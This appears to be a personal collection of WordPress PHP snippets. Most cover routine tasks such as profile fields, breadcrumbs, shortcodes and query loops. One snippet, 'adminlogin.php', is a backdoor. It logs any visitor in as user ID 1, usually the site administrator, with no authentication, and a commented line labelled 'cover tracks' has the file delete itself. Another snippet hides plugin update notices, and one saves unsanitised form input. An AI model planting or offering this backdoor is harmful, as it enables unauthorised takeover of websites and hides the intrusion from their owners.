Get meta

add custom profile field

<?
add_action( 'show_user_profile', 'my_show_extra_profile_fields' );
add_action( 'edit_user_profile', 'my_show_extra_profile_fields' );
add_action( 'user_new_form', 'my_show_extra_profile_fields' );

function my_show_extra_profile_fields( $user ) { ?>

	
	<table class="form-table">

		<tr>
			<th><label for="twitter">Cumpleaños</label></th>

			<td>
				<input type="text" name="bday" id="bday" value="<?php echo esc_attr( get_the_author_meta( 'bday', $user->ID ) ); ?>" class="regular-text" /><br />
			
			</td>
		</tr>

	</table>
<?php }


add_action( 'user_register', 'my_save_extra_profile_fields' );
add_action( 'personal_options_update', 'my_save_extra_profile_fields' );
add_action( 'edit_user_profile_update', 'my_save_extra_profile_fields' );

function my_save_extra_profile_fields( $user_id ) {

	if ( !current_user_can( 'edit_user', $user_id ) )
		return false;

	update_usermeta( $user_id, 'bday', $_POST['bday'] );
}
?>

adminlogin.php

<?php
require('wp-blog-header.php');
require('wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );
    $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );
  
//cover tracks
//@unlink(__FILE__);
    exit();
}

Breadcrumbs

<?
//FOR POST
$t = wp_get_post_terms(get_the_id(),'taxonomy');
$t[0] = ($t[0]->parent && !$t[1]->parent) ? $t[0] : $t[1];  
  if($t[0]->parent)
   { $p = get_term_by('id',$t[0]->parent,'taxonomy');
    echo '<a href="'.get_term_link($t[0]->parent,'taxonomy').'">'.$p->name.'</a> &raquo; ';  }
echo '<a href="'.get_term_link($t[0]->term_id,'taxonomy').'" class="crumb-current">'.$t[0]->name.'</a>';

//FOR ARCHIVE
$t = get_term_by('id',$wp_query->queried_object_id,'taxonomy');
  if($t->parent)
   { $p = get_term_by('id',$t->parent,'taxonomy');
    echo '<a href="'.get_term_link($t->parent,'taxonomy').'">'.$p->name.'</a> ';  }
echo '<a href="'.get_term_link($t->term_id,'taxonomy').'" class="crumb-current">'.$t->name.'</a>';  

get first image attachment

<?php 
if ( has_post_thumbnail() ) :
	 the_post_thumbnail('medium'); 
else:
	$attachments = get_children(array('post_parent' => $post->ID, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'orderby' => 'menu_order')); //you may need to change that $post variable
	if (is_array($attachments) ){
		$first_attachment = array_shift($attachments);
		echo wp_get_attachment_image($first_attachment->ID,'medium');
		}
	else{
	        echo "<img src='noimage.png'>"; //no attachments, use placeholder
		}
 endif;
 ?>

get page shortcode

<? 
// [insertar slug="contacto"]
function insertPage($atts) {
 $output = NULL;

 extract(shortcode_atts(array(
 "slug" => '' 
 ), $atts));

 if (!empty($slug)) {
 $page = get_page_by_path( $slug );
  $output = apply_filters('the_content',$page->post_content);
 }

 return $output;
}
add_shortcode('insertar', 'insertPage');

Limit global Wordpress query

<? 
$br = 6; //Number or articles to display
$n=0; while ( have_posts() ) : the_post(); if($n==$br){break;} $n++; 
?>

modular loop

<?
function notas($i){
	global $post;
	$nota = 'blog-featured'; //main
	if($i>1 && $i<6)
		$nota = 'blog-cuad'; //secundary class
	if($i>5)
		$nota = 'blog-list'; //third tier
	?><div class="blog-item <?=$nota?>"> 
      <div class="full-cover"><a href="<?the_permalink()?>"><? the_post_thumbnail('full') ?></a></div>
	<div class="blog-content">
      <p class="blog-date"><?=get_the_date( ) ?></p>
      <h2><a href="<?the_permalink()?>"><? the_title()?></a></h2>
      <div class="blog-excerpt"><? the_excerpt();?></div>
   </div>
   </div>
	<?
}
 $args = [
	'post_type' => 'post',
	'category_name' => 'news'; // Or name the page 'news' and use $post->post_name
	];
	$wp_query = new WP_Query( $args ); //use temp var if you need the old query
  $nota = 1;
  if (have_posts()) : while ( have_posts() ) : the_post();
    notas($nota++);
  endwhile; endif;

remove_update_notifications

add_filter('site_transient_update_plugins', 'remove_update_notification');
function remove_update_notification($value) {
     unset($value->response[ plugin_basename(__FILE__) ]);
     return $value;
}

wordpress

         $arr = Array(
                      'post_type'=>'post',
                      'posts_per_page'=>9,
                      'cat'=>107
                      );
        $q= new WP_Query( $arr );

 while ( $q->have_posts() ) : $q->the_post();
      $meta = get_post_meta( get_the_ID() );
      $tel = $meta['wpcf-telefono'][0];
      the_content();
 endwhile;  wp_reset_postdata();

Wordpress custom post type query

<?
	$args = array(
	'post_type' => 'movies',
	'showposts' => 10
	);
	$wp_query = new WP_Query( $args );
 while ( have_posts() ) : the_post();
	$terms = current(get_the_terms( $post->ID, 'genre' ));
?>
   
    <h3><?php the_title(); ?></h3>
    Genre: <span href="genre/<?echo $terms->slug;?>"><?echo $terms->name;?></span>
    <hr>
<?
endwhile; // end of the loop. 
?>